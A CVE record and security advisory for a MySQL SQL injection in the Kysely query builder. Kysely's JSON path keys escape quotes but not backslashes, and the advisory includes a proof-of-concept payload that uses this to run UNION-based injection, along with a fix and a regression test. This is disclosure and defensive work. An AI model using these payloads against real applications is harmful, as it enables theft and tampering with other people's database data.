2026-03-26 17:1CVE-2026-33442GitHub_M
PUBLISHED5.2CWE-89

Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.

Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the `sanitizeStringLiteral` method in Kysely's query compiler escapes single quotes (`'` → `''`) but does not escape backslashes. On MySQL with the default `BACKSLASH_ESCAPES` SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.

Problem type

Affected products

kysely-org

kysely

>= 0.28.12, < 0.28.14 - AFFECTED

References

GitHub Security Advisories

GHSA-fr9j-6mvq-frcv

Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.

https://github.com/advisories/GHSA-fr9j-6mvq-frcv

Summary

The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (''') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.

Details

When a user calls .key(value) on a JSON path builder, the value flows through:

  1. JSONPathBuilder.key(key) at src/query-builder/json-path-builder.ts:166 stores the key as a JSONPathLegNode with type 'Member'.

  2. During compilation, DefaultQueryCompiler.visitJSONPath() at src/query-compiler/default-query-compiler.ts:1609 wraps the full path in single quotes ('$...').

  3. DefaultQueryCompiler.visitJSONPathLeg() at src/query-compiler/default-query-compiler.ts:1623 calls sanitizeStringLiteral(node.value) for string values (line 1630).

  4. sanitizeStringLiteral() at src/query-compiler/default-query-compiler.ts:1819-1821 only doubles single quotes:

// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g

// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

The MysqlQueryCompiler does not override sanitizeStringLiteral — it only overrides sanitizeIdentifier for backtick escaping.

The bypass mechanism:

In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:

  1. sanitizeStringLiteral sees the ' and doubles it: \'' OR 1=1 --
  2. The full compiled path becomes: '$.\'' OR 1=1 --'
  3. MySQL parses \' as an escaped quote character (consuming the first ' of the doubled pair)
  4. The second ' now terminates the string literal
  5. OR 1=1 -- is parsed as SQL, achieving injection

The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

const db = new Kysely({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      user: 'root',
      password: 'password',
      database: 'testdb',
    }),
  }),
})

// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  data JSON
)`.execute(db)

await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)

// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key(userInput as never).as('result')
  )

console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal

const results = await query.execute()
console.log(results) // Returns injected query results

Simplified verification of the bypass mechanics:

const { Kysely, MysqlDialect } = require('kysely')

// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
  )
  .compile()

console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
//                  ^^ MySQL sees this as escaped quote
//                    ^ This quote now terminates the string
//                      ^^^^^^^^^^^ Injected SQL

Note: PostgreSQL is unaffected because standard_conforming_strings=on (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default BACKSLASH_ESCAPES mode are vulnerable.

Impact

  • SQL Injection: An attacker who can control values passed to the .key() JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.
  • Data Exfiltration: Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.
  • Data Modification/Deletion: If the application's database user has write permissions, stacked queries (when enabled via multipleStatements: true) or subquery-based injection can modify or delete data.
  • Full Database Compromise: Depending on MySQL user privileges, the attacker could potentially execute administrative operations.
  • Scope: Any application using Kysely with MySQL that passes user-controlled input to .key(), .at(), or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.

Recommended Fix

Escape backslashes in addition to single quotes in sanitizeStringLiteral. This neutralizes the bypass in MySQL's BACKSLASH_ESCAPES mode:

// src/query-compiler/default-query-compiler.ts

// Change the regex to also match backslashes:
const LIT_WRAP_REGEX = /['\\]/g

// Update sanitizeStringLiteral:
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, (match) => match === '\\' ? '\\\\' : "''")
}

With this fix, the input \' OR 1=1 -- becomes \\'' OR 1=1 --, where MySQL parses \\ as a literal backslash, '' as an escaped quote, and the string literal is never terminated.

Alternatively, the MySQL-specific compiler could override sanitizeStringLiteral to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:

// src/dialect/mysql/mysql-query-compiler.ts
protected override sanitizeStringLiteral(value: string): string {
  return value.replace(/['\\]/g, (match) => match === '\\' ? '\\\\' : "''")
}

A corresponding test should be added to test/node/src/sql-injection.test.ts:

it('should not allow SQL injection via backslash escape in $.key JSON paths', async () => {
  const injection = `\\' OR 1=1 -- ` as never

  const query = ctx.db
    .selectFrom('person')
    .select((eb) => eb.ref('first_name', '->$').key(injection).as('x'))

  await ctx.db.executeQuery(query)
  await assertDidNotDropTable(ctx, 'person')
})

JSON source

https://cveawg.mitre.org/api/cve/CVE-2026-33442
Click to expand
{
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "cveMetadata": {
    "cveId": "CVE-2026-33442",
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "dateUpdated": "2026-03-26T18:47:53.070Z",
    "dateReserved": "2026-03-19T18:45:22.438Z",
    "datePublished": "2026-03-26T17:01:57.866Z",
    "state": "PUBLISHED"
  },
  "containers": {
    "cna": {
      "providerMetadata": {
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M",
        "dateUpdated": "2026-03-26T17:01:57.866Z"
      },
      "title": "Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.",
      "descriptions": [
        {
          "lang": "en",
          "value": "Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the `sanitizeStringLiteral` method in Kysely's query compiler escapes single quotes (`'` → `''`) but does not escape backslashes. On MySQL with the default `BACKSLASH_ESCAPES` SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue."
        }
      ],
      "affected": [
        {
          "vendor": "kysely-org",
          "product": "kysely",
          "versions": [
            {
              "version": ">= 0.28.12, < 0.28.14",
              "status": "affected"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "lang": "en",
              "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')",
              "cweId": "CWE-89",
              "type": "CWE"
            }
          ]
        }
      ],
      "references": [
        {
          "url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-fr9j-6mvq-frcv",
          "name": "https://github.com/kysely-org/kysely/security/advisories/GHSA-fr9j-6mvq-frcv",
          "tags": [
            "x_refsource_CONFIRM"
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "version": "3.1",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
            "baseSeverity": "HIGH"
          }
        }
      ]
    },
    "adp": [
      {
        "providerMetadata": {
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP",
          "dateUpdated": "2026-03-26T18:47:53.070Z"
        },
        "title": "CISA ADP Vulnrichment",
        "metrics": [
          {}
        ]
      }
    ]
  }
}